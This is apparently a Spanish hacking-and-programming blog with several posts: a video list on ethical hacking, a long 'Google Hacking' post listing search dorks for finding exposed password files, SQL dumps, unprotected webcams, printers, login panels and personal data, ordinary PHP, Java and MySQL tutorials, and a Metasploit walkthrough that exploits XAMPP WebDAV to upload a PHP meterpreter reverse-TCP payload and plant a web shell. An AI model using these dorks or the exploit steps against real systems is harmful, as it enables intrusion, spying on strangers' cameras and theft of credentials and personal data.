Pages

Banner 468

viernes, 24 de enero de 2014

Vídeo tutoriales Ethical Hacking Básico

0 comentarios
 


Una pequeña lista de vídeo tutoriales para empezar en el Ethical Hacking Básico

Sesión 1 - Introducción al Hacking Etico
Sesión 2 - Footprinting
Sesión 3 - Escaneo
Sesión 4 - Anonimato
Sesión 5 - Enumeración
Sesión 6 - Ganando acceso
Sesión 7 - Escalando Privilegios
Sesión 8 - Hardening

Compartir es bueno.
Leer mas...
jueves, 2 de enero de 2014

Google Hacking (46 ejemplos): Google puede ser tu peor enemigo.

0 comentarios
 

google hacking

Google Hacking son técnicas para hackear páginas web o servidores usando Google como herramienta. Habitualmente, cundo escribo trucos para ser el 1º en Google, Google es bueno, te ayuda y es tu amigo. Pero aquí verás cómo Google puede ser tu peor enemigo. El proceso que sigue un hacker tiene 7 pasos:
  1. Localizar objetivo
  2. Recopilar información sobre objetivo
  3. Identificar vulnerabilidades
  4. Explotar vulnerabilidades y acceder
  5. Ataque
  6. Borrado de huellas
  7. Mantener el acceso, para futuras ocasiones
Google les ayuda directamente en los pasos 1, 2, 3 y 7. E indirectamente en los pasos 4, 5 y 6, porque pueden buscar en Google cómo llevarlos a cabo.
Para hacer Google Hacking, tienes que conocer los operadores avanzados de búsqueda de Google, que se pueden incluír en el recuadro normal de búsquedas individualmente o combinados entre sí. Luego pondré ejemplos reales de esto, no te preocupes si no lo entiendes ahora. Además, tienes más información en la guía de Google sobre sus comandos de búsqueda avanzada. Aquí van los principales comandos de búsqueda avanzada de Google:
  • ” ” (comillas): buscar frase exacta
  • and or not: operadores lógicos “y” o “no”
  • + y -: incluír y excluír. Ej: jaguar -coches: busca la palabra “jaguar”, pero omite las webs con la palabra “coches”
  • * (asterisco): comodín, cualquier palabra, pero una sóla palabra
  • . (punto): comodín, cualquier palabra, una o muchas
  • intitle o allintitle: la expresión buscada está en el título
  • inurl o allinurl: la expresión buscada está en la url
  • site: sólo busca resultados dentro de la web que va detrás de “site:”
  • filetype: sólo busca archivos de un tipo (doc, xls, txt…)
  • link: sólo busca en páginas que tienen un link a una determinada web
  • inanchor: sólo busca en páginas que tienen en el texto de enlace la expresión buscada
  • cache: muestra el resultado en la cache de Google de una pagina web
  • related: busca webs relacionadas con una determinada
Combinando estos operadores, el hacker puede obtener 7 tipos de información. A continuación describo los grupos de información y pongo en cursiva los códigos que hay que meter en el rectángulo de búsquedas de Google:
1) Ficheros con usuarios y contraseñas: lo que permite al hacker entrar directamente en tu web. Ejemplos:
  • ext:pwd inurl:(service | authors | administrators | users) “# -FrontPage-” Usuarios y claves de administradores, para modificar la web. Se ven directamente en Google, sin necesidad de entrar en la página. Hay más de 1.100 claves así en Googlegoogle hacking frontpage
  • filetype:sql “# dumping data for table” “`PASSWORD` varchar” Bases de datos sql volcadas completas, tienen datos de usuarios y contraseñas. Se pueden hacer modificaciones en la cadena de búsqueda, para sacar otros tipos de información. Aquí un ejemplo de contraseñas de la Universidad de Vigo. Las contraseñas van encriptadas en md5, pero basta buscar en Google la contraseña y el hacker encontrará un foro donde alguien la ha desencriptado y sale la original. Pongo un recuadro negro en los e-mails
    google hacking sql dump
  • intitle:”index of” “Index of /” password.txt Servidores con un archivo llamado password.txt. Se puede centrar por países con site:.es o por páginas educativas con site:.edu

    google hacking password.txt
    google hacking password.txt 2
  • filetype:inc intext:mysql_connect password -please -could -port Google nos da más de 2.000 usuarios y contraseñas de bases de datos MySQL google hacking mysql passwords
  • filetype:sql “MySQL dump” (pass|password|passwd|pwd) Más contraseñas disponibles en bases de datos
  • “there are no administrators accounts yet” “create the Super User” inurl:admin.php Instalaciones de php nuke a mitad de proceso, que nos piden que elijamos la contraseña de administrador.
2) Páginas con formularios de acceso (típica ventana que te pide usuario y contraseña, para entrar): lo que les permite realizar un ataque de diccionario (con listas de usuarios y contraseñas más frecuente combinados). Y si no consigue entrar por ahí usará la fuerza bruta: probando contraseñas con un programa, hasta conseguir entrar. El hacker puede usar Brutus u otros programas similares, para sacar las contraseñas. Tienes más detalles sobre esto en: ¿Cómo robar contraseñas de wifi, windows, hotmail, gmail, tuenti, msn, facebook, twitter o yahoo?. Ejemplos:
  • “You have requested access to a restricted area of our website. Please authenticate yourself to continue.” Puerta de entrada a la administración de la web. Casi 7.000 webs salen en Google al hacer esta búsqueda.
  • inurl:”:10000″ webmin Webmin es un programa que permite administrar vía web remotamente un servidor linux por el puerto 10000, esta búsqueda nos da más de 5.000 servidores que lo tienen activado. Al pinchar nos pide usuario y contraseña
  • “VNC Desktop” inurl”:5800″ VNC es un programa, que permite administrar remotamente la web y corre en el puerto 5800 por defecto. Similar al anterior.
  • intitle:”vnc viewer for java” otra forma de acceder a gente que tiene instalado VNC. Google muestra 4.000 ordenarodres listos para administrar remotamente.
  • inurl:/admin/login.asp Da al hacker 8 millones de páginas diferentes donde hacer login
  • allintitle:Outlook Web Access Logon Login, que permite al hacker ver los correos de una empresa
  • “best idea is to create the super user” “now by clicking here” Instalación de php nuke a medias, que nos pide clave de administrador y lleva a formulario de acceso. Más de 100.000 disponibles en Google.
  • Y el hacker puedes obtener millones de logins en sitios con WordPress yendo a la carpeta /wp-admin o en Joomla yendo a la carpeta /administrator, que son las carpetas que viene por defecto y casi nadie cambia
3) Ficheros con nombres de usuario o mensajes de error que revelan el nombre de usuario: esto se lo pone más sencillo al hacker para atacar con diccionarios o con Brutus, ya sólo tiene que sacar la contraseña para entrar, porque sabem el usuario. Ejemplos:
  • “access denied for user” “using password” “general error” -inurl:phpbb “sql error” Foros phpbb que dan errores. Nos dan el nombre del usuario y a veces también la IP del servidor. En Google aparecen más de 340.000 foros vulnerables.google hacking phpbb
4) Detección de la versión servidor de la web o versiones productos vulnerables: si el servidor web, o alguno de los programas instalados en el mismo, no son la última versión, casi siempre tienen agujeros de seguridad. Las versiones habitualmente salen para actualizar agujeros de seguridad. Basta buscar en Google el exploit, para poder entrar en el servidor. Un exploit es un “programa” o una manera de explotar la vulnerabilidad: hay millones en internet. El hacker encontrará los exploits buscando en Google, en Exploit Database o dejando que MetaSploit Framework los descubra y ejecute directamente. Ejemplos:
  • “SquirrelMail version 1.4.4″ inurl:src ext:php Una versión muy mala y fáclmente jaqueable del gestor de correo. En Goolge aparecen 1940 empresas con ese gestor de correo, es como si dicen: “hackéame, mira mis correos”
  • “Powered by MercuryBoard [v1″ Versión antigua y con agujeros de seguridad de este software para envío de boletines. 188.000 resultados nos da Google.
  • intitle:”Welcome to Windows Small Business Server 2003″ Google muestra 17.000 servidores con esta versión anticuada de Windows Server, el hacker no sabe por cuál empezar…
  • intitle:index.of “Apache/*” “server at” Da más de 500 millones de resultados en Google. Busca servidores Apache. Poniendo en lugar del * una versión con vulnerabilidades, el hacker sabe en qué servidores puede entrar.
  • intitle:index.of “Microsoft-IIS/* server at” Igual que el anterior, aunque este muestra “sólo” 600.000 servidores, con sus versiones correspondientes.
5) Dispositivos hardware online (ver webcams y cámaras de vigilancia o manejar impresoras remotamente). Con ellos puedes espiar remotamente (ejemplos en ¿Cómo espiar webcams remotamente? 6 casos reales ¿Y cómo protegerse?), dar sustos imprimiendo archivos en impresoras ajenas, ver qué se imprime en una empresa, manejar los sitemas de calefacción remotamente a tu antojo, etc. Ejemplos:
  • camera linksys inurl:main.cgi 700 cámaras disponibles para que un hacker nos vea. No hace falta contraseña, para entrar
  • inurl:”ViewerFrame?Mode=” 83.000 cámaras disponibles para espiar sin necesidad de contraseña
  • “active webcam page” inurl:8080 Más cámaras disponibles en el puerto 8080
  • intitle:”toshiba network camera – User Login” 15.000 cámaras más
  • intitle:”ivista main page” más cámaras
  • intitle:”i-catcher console” “please visit” y más todavía
  • inurl:webarch/mainframe.cgi Impresoras listas para administrar remotamente
  • intitle:”network print server” filetype:shtm y más impresoras esperando a hackers
6) Ficheros con información sensible o directorios sensibles de un servidor. Ejemplos:
  • “phone  * * *” “address *” “e-mail” intitle:”curriculum vitae” Obtenemos teléfono, nombre, mail y dirección postal de más de más de 573.000 personas. También se podría hacer el equivalente en español.
  • filetype:ctt Archivos con listas de e-mails. Más de 4.000 archivos disponibles en Google.
  • “robots.txt” “disallow:” filetype:txt En el archivo robots.txt el webmaster dice qué partes de su web no quiere que Google muestre, es decir, la información más confidencial de la web, que es lo 1º que quiere mirar un hacker. Haciendo la búsqueda anterior, Google muestra más de 2 millones de webs con archivos robots.txt, que indican al hacker su información más delicada.
  • allintitle:restricted filetype:doc site:gov Encontrar información “interesante” en sitios de Gobiernos. Se puede cambiar “restricted” por “top secret” o “confidential”. Y “doc” por “pdf” o “txt”. O “gov” por “mil”, para sitios del ejército…
  • passwords|contraseñas|login|contraseña filetype:txt site:web.com Busca contraseñas y logins en documentos txt de la web web.com. Se puede ir cambiando el filetype o la web, para tener resultados diferentes.
  • inurl:intranet filetype:doc confidential Igual que los 2 anteriores, admite variaciones
  • “Index of” / “chat/logs” Logs de chats almacenados en servidores
  • index.of.dcim 300.000 páginas con carpetas con fotos para descargar gratis. DCIM significa Digital Camera Image Dumps, y es el nombre que viene por defecto en las carpetas de fotos de las cámaras digitales. Esta búsqueda muestra personas que han subido las carpetas de fotos a una web tal cual, sin cambiar siquiera el nombre.
  • intitle:index.of “parent directory Listado de directorios de un servidor, para ver las carpetas y explorarlas. Son los más clásicos. Otros con funciones similares son:
  • intitle:”index of” “Index of /”
  • intitle:”index of” inurl:”admin”
  • intitle:index.of passwd Permite navegar por el servidor y encontrar archivos de contraseñas. Con frecuencia no funciona, porque la gente ha hecho webs con virus para salir arriba en esa búsqueda y que los “lammers” piquen y pinchen los links, por eso no lo pongo en el apartado 1 de esta recopilación…
7) Información de apoyo al acceso. Ejemplos:
  • “Microsoft (R) Windows * (TM) Version * DrWtsn32 Copyright (C)” ext:log Procesos ejecutándose en el servidor, para saber qué antivirus tiene, si tiene firewall…
  • inurl:”:8080″ -intext:8080 Servidores que ejecutan servicios en el puerto 8080. A veces sólo con pinchar la url se entra directamente, a veces pide login, a veces es información “confidencial”, o a veces son webs normales. Hay más de 1 millón de resultados en Google.
  • intitle:index.of ws_ftp.log Logs de acceso por FTP, que incluyen las rutas locales de los archivos que se suben y horas de subida. Más de 1 millón de logs disponibles en Google.
  • site:sitio.com -site:www.sitio.com Sirve para conocer subdominios, intranets, dominios para la gestión del correo, etc. Suele producir varias ventanas de login.
  • intitle:”the page cannot be found” “please * * following” “Internet * Services” Permite saber el tipo de servidor.
Esto era sólo un resumen, sin ánimo de ser exaustivo. Hay bases de datos de Google dorks, que así se llaman estos “fallos” de Google en: Exploit Database Google Dorks y Google Hacking Database. Hay Google Dorks para cada plugin o módulo de WordPress o Joomla que tienen vulnerabilidades. Los Google Dorks permiten encontrarlos y hackear las webs con plugins no actualizados.
Por último, hay programas que permiten probar automáticamente todas las vulnerabilidades de un sitio web que muestra Google, para no tener que ir buscando una a una. Algunos de los programas que hacen esto son:
  • Site Digger: recomendado, es el que yo uso más a menudo para pruebas de seguridad de mis clientes ;-)
  • Wikto
  • SearchDiggit
  • Athena (de snakeoillabs.com): no recomendable porque viola política de Google, porque no usa GoogleApi para las peticiones
  • Gooscan: no recomendable por lo mismo que el anterior
 Enlace original..

Leer mas...
lunes, 30 de diciembre de 2013

Buenas prácticas para programar en PHP

0 comentarios
 

La altísima presencia de PHP en internet ha propiciado que entre la comunidad de programadores haya dos vertientes básicas: detractores y defensores. Al margen de los argumentos que uno u otro colectivo pueda esgrimir (lenguaje interpretado vs compilado, nomenclatura de funciones, rapidez, etc.), la realidad es que LAMP está detrás de la mayoría de servicios y aplicaciones web.
Desde formación online os presentamos esta guía con veinte consejos y buenas prácticas de programación, con el fin de que vuestro código PHP sea lo más efectivo posible:

Tutorial buenas prácticas programación PHP

1. Activar el reporte de errores
error_reporting(E_ALL) es tu amigo. Utilízalo, junto con ini_set(‘display_errors’, ‘On’), para ver todas las advertencias del compilador de PHP, saber qué métodos están depreciados, índices inexistentes, etc.
2. No emplear etiquetas cortas
Para que el intérprete de PHP ejecute un código, éste ha de estar delimitado por las etiquetas de apertura y cierre de PHP: <?php ?>. Si en la configuración de PHP de nuestro servidor (archivo php.ini) se permite el uso de etiquetas cortas (<? ?>) el script se ejecutará exactamente igual. Pero, ¿qué ocurre si cambiamos a otro servidor en el que no estén habilitadas? Nuestras páginas dejarán de funcionar como esperamos y, lo que es más grave, puede resultar en que todo nuestro código fuente se imprima por pantalla como texto plano (ya que no habrá sido interpretado), quedando a disposición de cualquier personaje.
3. Operadores de comparación: === vs ==
== (o !=) compara el valor, mientras que === (o !==) compara el valor y el tipo.
Dado que en PHP las variables no tienen un tipo asignado y éste puede cambiar “al vuelo” en tiempo de ejecución, conviene tener en cuenta cómo serán evaluadas las comparaciones en PHP:
<?php
$a = 0;
$b = "0"
$c = false;
var_dump($a == $b); // 0 == 0 -> true
var_dump($a === $b); // 0 == 0 && (integer) == (string) -> false
var_dump($a == $c); // 0 == false -> true
Por otro lado, existen funciones que retornan un número entero. Como el valor lógico de cualquier entero es true, exceptuando el cero, que es false, deberemos tenerlo en cuenta a la hora de evaluar nuestras condiciones. Por ejemplo, la función strpos() busca la posición de la primera ocurrencia de una subcadena dentro de otra:
<?php
$cadena = 'formación online';

$buscamos = 'm'; // presente en $cadena
$posicion = strpos($buscamos, $cadena); // $posicion = 3

$buscamos = 'z'; // ausente en $cadena
$posicion = strpos($buscamos, $cadena); // $posicion = false

$buscamos = 'f'; // presente en $cadena
$posicion = strpos($buscamos, $cadena); // $posicion = 0
Por lo tanto, si queremos comprobar la presencia o no de una cadena con strpos() no debemos comparar por valor (==) sino por tipo y valor (===).
4. echo vs print
Estas funciones realizan la misma tarea. Sin embargo, echo es sensiblemente más rápida que print.
5. Concatenación de cadenas, comillas simples(‘) vs comillas dobles(“)
Cuando trabajes con cadenas, evita siempre el uso de comillas dobles. La razón es que PHP analiza el contenido de las comillas dobles en búsqueda de variables que deban ser interpretadas, resultando en un tiempo de ejecución mayor.
Emplea siempre la función echo y concatena las cadenas con comas: echo ‘Hola’, $nombre, ‘, ¿qué te trae por aquí? requerirá menos tiempo al compilador que echo ‘Hola’ . $nombre . ‘, ¿qué te trae por aquí?’. Por lo visto en el punto anterior, el “peor caso posible” sería print "Hola $nombre, ¿qué te trae por aquí?"
6. Búsqueda de cadenas y patrones case insensitive
La búsqueda de una cadena sin importar mayúsculas/minúsculas (stripos()) es entre un 400% y un 600% más lenta que su equivalente case sensitive, strpos()).
En cuanto a las expresiones regulares, las búsquedas sensibles, preg_match(“/$patron/”, $cadena), son, como norma, ligeramente más eficaces que su equivalente no sensible: preg_match(“/$patron/i”, $cadena).
Si las coincidencias se realizan de modo iterativo (dentro de un bucle for, while, foreach), es recomendable convertir a lowercase o uppercase antes y realizar las operaciones en su versión case sensitive.
7. Convenciones
  • Los nombres de las clases en MixedCase. Ejemplo: ElNombreDeMiClase
  • Los nombres de los métodos en camelCase. Ejempo: nombreDelMetodo()
  • Las constantes siempre en ALL_CAPS. Ejemplo: COLOR_DEFINIDO_PARA_MI
  • Las variables, propiedades y parámetros en camelCase. Ejemplo: $variableEnLaQueAlmacenoAlgo
  • Los métodos y variables que no sean públicos, precedidos por un guión bajo (underscore-prefixed). Ejemplo: $_miPalabraSecreta
Veámoslo en un ejemplo para ilustrar:
<?php 
class MyNewClass{
    const LIMIT_OF_ITERATIONS = 10;
    public $myProperty;
    public $myOtherProperty;
    protected $_myProtectedProperty; // observa guión bajo por no ser public

    // constructor 
    function __construct(){
    }

    public function hacerAlgoConMiClase($parametroRecibido){
        for ($i = 0; $i < self::LIMIT_OF_ITERATIONS; $i++){
            // lo que sea
        }
    }

    public function getMyProtectedProperty(){
        return $this->_myProtectedProperty;
    }
}
8. Emplea un Entorno de Desarrollo Integrado (IDE)
Un IDE es un editor de código que ofrece la posibilidad de depurar, autocompletar e identar el código. Existen multitud de alternativas, gratuitas y de pago. Entre las opciones gratuitas destacan Eclipse y Netbeans; por su parte, Zend Studio y PHP Designer destacan como opciones de pago.
9. Separa y reutiliza tu código
Evita tener archivos con cientos o miles de líneas. Agrupa las funciones que vayas a emplear con frecuencia en archivos e inclúyelos para su posterior reutilización. Ejemplo:
<?php
class Ipl_Util_Date{
    ...
    public static function timestampToSpanishFormat($date, $dateSeparator, 
  $timeSeparator = ' a las '){
        if ($date == '') return null;
        $temp = explode(' ', $date);
        if (sizeof($temp) != 2) return null;
        $dates = explode('-', $temp[0]);
        return $dates[2] . $dateSeparator . $dates[1] 
  . $dateSeparator . $dates[0] 
  . $timeSeparator . $temp[1];
    }
}
Así, si alguna vez queremos convertir una fecha en formato timestamp a un formato con el que estamos más familiarizados, sólo tenemos que hacer <?php echo Ipl_Util_Date::timestampToSpanishFormat($myDate, ‘/’) ?>.
10. Al iterar arrays, fija el valor máximo fuera del bucle
Cada llamada al método count() aumenta hasta en un 50% el tiempo de ejecución, según el tamaño del array.
// mal
for ($i = 0, $i < count($miArray); $i++){
   ... 
}
// bien
$limite = count($miArray);
for ($i = 0; $i < $limite; $i++){
    ...
}
11. Emplea el buffer de salida
En lugar de utilizar echotexto que sea‘, utiliza ob_start() para empezar a almacenar el texto en el búffer de salida. Para terminar la captura, puedes emplear ob_get_contents() y ob_get_clean(), o ob_end_clean().
12. Mantén las opciones de configuración en un archivo
A medida que tu aplicación vaya creciendo necesitarás acceder en distintos lugares a determinados valores. Almacenándolos todos en un único lugar, evitarás tener que modificar todos los archivos cada vez que haya un cambio. Imagina que programas un carrito de la compra y en un determinado momento hay que cambiar el IVA.
13. Incluyendo código
include, require y sus derivados (include_once, require_once) son sentencias, no métodos. No debe ponerse la ruta al fichero entre paréntesis.
Emplea siempre include o require en vez de include_once o require_once para que el cacheado de código sea más efectivo.
14. Codificación de caracteres
Emplea UTF-8 (sin BOM) en lugar de ANSI. Lo que en ANSI u otra codificación
puede ser un determinado caracter (una eñe, por ejemplo), en otra codificación puede ser algo completamente distinto. Si tu público emplea tu misma codificación no hay problema pero, si en un momento dado alguien de, por ejemplo, Rusia entra en tu página, verá la pantalla llena de caracteres sin sentido.
Si tu web va a estar disponible en más de un idioma, es indispensable que tu codificación sea UTF-8 (incluyendo la codificación y colación de la base de datos).
15. Minimiza el número de variables globales
Operar con variables globales es en torno a un 200% más costoso que hacerlo con locales.
16. Directiva AllowOverride
Si tu servidor web es Apache, emplea la directiva AllowOverride None donde sea posible.
Imagina una estructura de directorios como la siguiente: media/images/2013/03/my_image.jpg. Si AllowOverride está en All, antes de que Apache pueda servir el recurso my_image.jpg, debe recorrer todos los directorios desde la raíz hasta “/03″ en búsqueda los archivos .htaccess por si en alguno de ellos se especificase alguna directiva sobre el objeto de la petición.
17. No implementes todas las estructuras de datos como objetos
Los array son más rápidos y consumen menos memoria que instanciar un objeto.
18. Incrementar o Decrementar variables: ++$i vs $i++
Pre-incrementar (++$i) es en torno a un 10% más rápido que post-incrementar ($i++). La razón es que cuando hacemos post-incremento, PHP necesita crear una variable temporal en la que almacenar el valor a ser incrementado.
19. Minimiza el número de consultas a la base de datos
Realizar una consulta es costosa en términos temporales. En todas aquellas ocasiones en que los datos no vayan a cambiar con mucha frecuencia, es interesante realizar una única vez la consulta y almacenar el resultado de ésta en un archivo de texto plano. Cuando se produzcan cambios en la consulta, se vuelve a generar el archivo a ser incluido.Por ejemplo: imagina que tienes una web de películas, y en algún sitio de la página se ve el listado de películas mejor valoradas. Para obtener las diez películas mejor valoradas tendrías que hacer una consulta similar a la siguiente:
<?php 
$sqlVotos = 'SELECT p.id, p.titulo, SUM(v.voto) AS suma_votos, 
 COUNT(v.id) AS numero_votos, 
 (SUM(v.voto)/COUNT(v.id)) AS valoracion 
 FROM peliculas p 
INNER JOIN votos v ON p.id=v.id 
GROUP BY v.id_pelicula
ORDER BY valoracion DESC 
LIMIT 0,10';
$resVotos = mysql_query($sql);
$votos = mysql_fetch_array($res, MYSQL_ASSOC);

echo "

Mejor valoradas

n';
Este script debería ejecutarse para todas y cada una de las peticiones de página que tuviera tu web. Lo que podemos hacer es ejecutar el siguiente código cada vez que se produzca una votación, o bien un Cron que se ejecute cada 30 minutos o el intervalo que consideremos:
<?php 
$filename = PATH_TO_VOTACIONES_FILE . 'votos.txt';  // ruta al fichero
$handle = fopen($filename, 'w+'); // abrimos el fichero
// ejecutamos la consulta anterior ($sqlVotos / $resVotos)
foreach ($votos as $voto){
    fwrite($handle, '
  • '. $voto['titulo'] . ' (' . $voto['valoracion'] . ')
  • ' . "n"; } fclose($handle);
    Entonces, sólo tendríamos que hacer un require PATH_TO_VOTACIONES_FILE . ‘votos.txt’; para mostrar los votos.
    20. isset()
    La función isset() (isSet) resulta de una utilidad tremenda. Nos sirve tanto para saber si una determinada variable ha sido inicializada como para comprobar que un índice existe e incluso para trabajar con longitudes de cadenas de un modo más eficiente:Si en un determinando momento necesitamos comprobar que una cadena tiene al menos una determinada longitud, por ejemplo que el nombre de usuario tenga más de 4 caracteres, lo más inmediato que se nos puede ocurrir es utilizar strlen()
    if (strlen($username) < 5){
        ....
    }
    Pero, en tanto que strlen es una función, PHP necesita realizar un trabajo previo para ejecutar la llamada (convertirla a lowercase y buscarla en la tabla hash de funciones), además de ejecutar la propia función.
    Por contra, isset no es una función sino una construcción del lenguaje. Esto significa que PHP no tendrá que hacer ninguna operación previa ni habrá sobrecarga.

    Así, si queremos comprobar que una variable tiene más de una determinada longitud, podemos hacerlo de un modo más efectivo de la siguiente manera:
    if (isset($username{5})){
        ....
    }
    Leer mas...

    Curso gratis de programación en PHP

    0 comentarios
     
    Curso gratis de PHP online

    Aprende a programar con este curso gratis de PHP paso a paso de 23 artículos actualizados permanentemente que ofrece la web RedesZone.es. Si quieres iniciarte en la programación de este lenguaje, o aprender nuevos trucos para mejorar tus aplicaciones, no dejes de consultar esta interesante guía.

    Fuente: Curso PHP Online

    A diferencia de otros lenguajes que requieren ser compilados, PHP es un lenguaje que se interpreta directamente a través de un módulo específico en el servidor, que se encarga de generar la web, como Apache, el más conocido y utilizado en la mayoría de servidores. Así pues, este curso gratuito y online trata la instalación de un servidor PHP, las variables en PHP, tipos, operadores, constantes, funciones, bucles, orientación a objetos e incluso utilización de PHP junto a sockets y bases de datos.

    Temario del curso gratis de PHP

    Leer mas...

    Curso de introducción a Java

    0 comentarios
     

    Curso gratis de Java

    Este curso gratis de Java online de RedesZone.net te ayudará a aprender a programar paso a paso en este lenguaje a lo largo de 74 capítulos. Este tutorial de Java se extiende en ocho epígrafes sobre estructura de datos, poliformismo, gestores de distribución y gestión de eventos, así como entrada y salida de ficheros o programación de juegos.

    Fuente: curso completo de Java online

    Desarrollado por Sun Microsystems adquirido por Oracle, la sintaxis de Java se asimila mucho a la de C y C++, y sus aplicaciones se ejecutan en una máquina virtual de Java (JVM), lo que hace irrelevante la arquitectura del sistema operativo, ya que podrá trabajar de la misma manera en cualquier plataforma.

    Así pues, a continuación tienes recopilados todos los contenidos de este tutorial gratuito de Java que te ayudará a aprender a programar en este lenguaje.

    Curso gratis de Java

    Estructuras de datos

    Herencia y polimorfismo

    Gestores de distribución

    Gestión de eventos

    Entrada y salida de ficheros

    Programación concurrente y distribuída en Java

    Programas

    Leer mas...
    domingo, 22 de diciembre de 2013

    Conectando con servidor Mysql con PHP

    0 comentarios
     


    Esta ves veremos la forma de conectarnos a un servidor mysql usando PHP, para posteriormente ingresar,modificar y eliminar datos de una base de datos.
    La conexión es muy fácil de hacer, yo lo are en localhost(En mi caso WAMP)

    <?php
    //Esto es una forma antigua de hacerlo
    $link = mysql_connect("Servidor","usuario","contraseña") or die("Ocurrio un error ".mysql_error());
    
    $db = mysql_select_db("nombre de base de datos",$link) or die("La base de datos no existe");
    ?>
    Explicación de funciones:
    mysql_connect(host,user,pass) : Abre o reutiliza una conexión aun servidor Mysql mysql_select_db(database,identifier) : Establece una base de datos para el  servidor asociado con el identificador. En el caso que no indique el identificador (identifier) se tomara el ultimo enlace  abierto.

    Otra forma de conectar es usando Mysqli y mas segura:


    <?php
    $mysqli = new mysqli("Servidor", "usuario", "contraseña", "nombre de base de datos");
    
    /* Revisamos la conexión, si no ocurrió un error */
    if ($mysqli->connect_errno) {
        printf("Fallo la conexion: %s\n", $mysqli->connect_error);
        exit();
    }
    ?>
    
    Una forma mas fácil ,segura y rapida. 
    Pueden leer la documentación de Mysql , Mysqli en la web principal.
    Leer mas...
    sábado, 14 de diciembre de 2013

    [Metasploit] Hackeando XAMPP Remotamente (Windows XP - 7 - 8)

    0 comentarios
     

    [Metasploit] Hackeando XAMPP Remotamente (Windows XP - 7 - 8)




    XAMPP es una forma fácil de instalar la distribución Apache que contiene MySQL, PHP y Perl. XAMPP es realmente simple de instalar y usar - basta descargarlo, extraerlo y comenzar.

    La distribución de Windows 2000, 2003, XP, Vista y 7 contiene Apache, MySQL, PHP + PEAR, Perl, mod_php, mod_perl, mod_ssl, OpenSSL, phpMyAdmin, Webalizer, Mercury Mail Transport System for Win32 and NetWare Systems v3.32, Ming, FileZilla FTP Server, mcrypt, eAccelerator, SQLite, and WEB-DAV + mod_auth_mysql.
    ------------------------------------------------------------------------------------------------------------------

    Actualmente el servicio XAMPP, usado por la mayoria de webmasters y usuarios que se dedican a la Programación Web son totalmente vulnerables y se ha creado un modulo en metasploit que explota contraseñas débiles WebDAV en los servidores XAMPP y utiliza credenciales proporcionadas para subir una carga útil de PHP y ejecutarlo. El exploit se encuentra disponible desde XAMPP WebDAV PHP Upload y los pasos para aprovecharse de esta vulnerabilidad, son los siguientes:

    REQUERIMIENTOS:

    • BackTrack 5 R1 - R2 o R3 (Atacante)
    • Metasploit Framework (Atacante)
    • Windows XP - 7 - 8 (Victima)
    • XAMPP (Victima)

    PROCEDIMIENTOS:

    Primeramente tenemos que detectar si la PC victima esta ejecutando el servicio XAMPP, para ello usaremos Nmap, ejecutando el siguiente comando:
    • nmap -sS -T4 -A 192.168.1.38

    Si los resultados se muestran tal cual con la imagen de arriba, quiere decir que la PC victima esta ejecutando el servicio XAMPP en el puerto 80 y 443, entonces para aprovecharnos de la vulnerabilidad mencionada lineas arriba, simplemente abriremos metasploit y ejecutamos los siguientes comandos:

    -------------------------------------------------------------------------------------------------------------
    use exploit/windows/http/xampp_webdav_upload_php
    set payload php/meterpreter/reverse_tcp
    set Lhost 192.168.1.36 (Nuestra IP)
    set RHOST 192.168.1.38 (IP Victima)
    exploit
    -------------------------------------------------------------------------------------------------------------



    Estos comandos haran que se ejecute un payload en php la cual automaticamente se "subira" en el servicio XAMPP de la PC victima.



    Seguidamente si todo se realizo correctamente, recibiremos la session meterpreter gracias al payload que metasploit subio al servicio XAMPP vulnerable.


    Lo demas ya queda a nuestra total disposicion, en este caso podemos subir una web shell ya que XAMPP es un servicio web, por lo que podemos ingresar desde nuestro navegador a la IP vulnerada y ejecutar comandos desde la shell.
    Leer mas...